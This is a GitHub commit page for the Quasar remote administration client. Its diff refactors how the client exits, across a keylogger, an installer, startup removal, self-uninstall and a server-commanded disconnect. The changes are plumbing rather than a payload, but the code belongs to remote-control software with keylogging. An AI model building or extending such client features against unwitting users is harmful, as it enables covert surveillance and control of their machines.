Skip to content

Commit

Permalink
Improved Client exit
Browse files Browse the repository at this point in the history
  • Loading branch information
MaxXor committed Sep 10, 2015
1 parent bda1c5e commit 48d950f
Show file tree
Hide file tree
Showing 9 changed files with 32 additions and 28 deletions.
1 change: 0 additions & 1 deletion Client/Core/Data/ClientData.cs
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,6 @@ namespace xClient.Core.Data
{
public static class ClientData
{
public static bool Disconnect { get; set; } // when Disconnect is true, stop all running threads
public static string CurrentPath { get; set; }
public static string InstallPath { get; set; }
public static bool AddToStartupFailed { get; set; }
Expand Down
4 changes: 2 additions & 2 deletions Client/Core/Helper/WindowsAccountHelper.cs
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
using System.Diagnostics;
using System.Security.Principal;
using System.Threading;
using xClient.Core.Data;
using xClient.Core.Networking;
using xClient.Enums;

namespace xClient.Core.Helper
Expand Down Expand Up @@ -43,7 +43,7 @@ public static void StartUserIdleCheckThread()

static void UserIdleThread()
{
while (!ClientData.Disconnect)
while (!QuasarClient.Exiting)
{
Thread.Sleep(5000);
if (IsUserIdle())
Expand Down
3 changes: 0 additions & 3 deletions Client/Core/Installation/ClientInstaller.cs
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,6 @@ public static void Install(Client client)
}
catch (Exception)
{
ClientData.Disconnect = true;
return;
}
}
Expand Down Expand Up @@ -63,7 +62,6 @@ public static void Install(Client client)
}
catch (Exception)
{
ClientData.Disconnect = true;
return;
}

Expand Down Expand Up @@ -101,7 +99,6 @@ public static void Install(Client client)
catch (Exception)
{
}
ClientData.Disconnect = true;
}
}
}
4 changes: 2 additions & 2 deletions Client/Core/Installation/ClientUninstaller.cs
Original file line number Diff line number Diff line change
Expand Up @@ -35,8 +35,8 @@ public static void Uninstall(Client client)
FileName = batchFile
};
Process.Start(startInfo);
ClientData.Disconnect = true;
client.Disconnect();

Program.ConnectClient.Exit();
}
catch (Exception ex)
{
Expand Down
5 changes: 2 additions & 3 deletions Client/Core/Installation/ClientUpdater.cs
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,6 @@
using System.Diagnostics;
using System.IO;
using xClient.Config;
using xClient.Core.Data;
using xClient.Core.Helper;
using xClient.Core.Networking;
using xClient.Core.Utilities;
Expand Down Expand Up @@ -34,10 +33,10 @@ public static void Update(Client client, string newFilePath)
};
Process.Start(startInfo);

ClientData.Disconnect = true;
if (Settings.STARTUP)
Startup.RemoveFromStartup();
client.Disconnect();

Program.ConnectClient.Exit();
}
catch (Exception ex)
{
Expand Down
16 changes: 13 additions & 3 deletions Client/Core/Networking/QuasarClient.cs
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,10 @@ namespace xClient.Core.Networking
{
public class QuasarClient : Client
{
/// <summary>
/// When Exiting is true, stop all running threads and exit.
/// </summary>
public static bool Exiting { get; private set; }
public bool Authenticated { get; private set; }
private readonly HostsManager _hosts;

Expand Down Expand Up @@ -81,7 +85,7 @@ public QuasarClient(HostsManager hostsManager) : base()

public void Connect()
{
while (!ClientData.Disconnect) // Main Connect Loop
while (!Exiting) // Main Connect Loop
{
if (!Connected)
{
Expand All @@ -102,7 +106,7 @@ public void Connect()
Thread.Sleep(2500);
}

if (ClientData.Disconnect)
if (Exiting)
{
Disconnect();
return;
Expand Down Expand Up @@ -142,13 +146,19 @@ private void OnClientState(Client client, bool connected)
{
Authenticated = false; // always reset authentication

if (!connected && !ClientData.Disconnect)
if (!connected && !Exiting)
LostConnection();
}

private void LostConnection()
{
CommandHandler.CloseShell();
}

public void Exit()
{
Exiting = true;
Disconnect();
}
}
}
6 changes: 2 additions & 4 deletions Client/Core/Packets/PacketHandler.cs
Original file line number Diff line number Diff line change
@@ -1,5 +1,4 @@
using xClient.Core.Commands;
using xClient.Core.Data;
using xClient.Core.Networking;
using xClient.Core.ReverseProxy;

Expand All @@ -22,12 +21,11 @@ public static void HandlePacket(Client client, IPacket packet)
}
else if (type == typeof(ServerPackets.DoClientDisconnect))
{
ClientData.Disconnect = true;
client.Disconnect();
Program.ConnectClient.Exit();
}
else if (type == typeof(ServerPackets.DoClientReconnect))
{
client.Disconnect();
Program.ConnectClient.Disconnect();
}
else if (type == typeof(ServerPackets.DoClientUninstall))
{
Expand Down
4 changes: 2 additions & 2 deletions Client/Core/Utilities/Keylogger.cs
Original file line number Diff line number Diff line change
Expand Up @@ -4,9 +4,9 @@
using System.IO;
using System.Text;
using System.Windows.Forms;
using xClient.Core.Data;
using xClient.Core.Helper;
using xClient.Core.MouseKeyHook;
using xClient.Core.Networking;
using Timer = System.Timers.Timer;

namespace xClient.Core.Utilities
Expand Down Expand Up @@ -236,7 +236,7 @@ private string HighlightSpecialKeys(Keys[] keys)

private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{
if (_logFileBuffer.Length > 0 && !ClientData.Disconnect)
if (_logFileBuffer.Length > 0 && !QuasarClient.Exiting)
WriteFile();
}

Expand Down
17 changes: 9 additions & 8 deletions Client/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -28,9 +28,11 @@ private static void Main(string[] args)

if (Settings.Initialize())
{
Initialize();
if (!ClientData.Disconnect)
ConnectClient.Connect();
if (Initialize())
{
if (!QuasarClient.Exiting)
ConnectClient.Connect();
}
}

Cleanup();
Expand Down Expand Up @@ -80,16 +82,13 @@ private static void Cleanup()
MutexHelper.CloseMutex();
}

private static void Initialize()
private static bool Initialize()
{
var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

// process with same mutex is already running
if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
{
ClientData.Disconnect = true;
return;
}
return false;

AES.PreHashKey(Settings.PASSWORD);
ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
Expand Down Expand Up @@ -129,11 +128,13 @@ private static void Initialize()
}

ConnectClient = new QuasarClient(hosts);
return true;
}
else
{
MutexHelper.CloseMutex();
ClientInstaller.Install(ConnectClient);
return false;
}
}
}
Expand Down

0 comments on commit 48d950f

Please sign in to comment.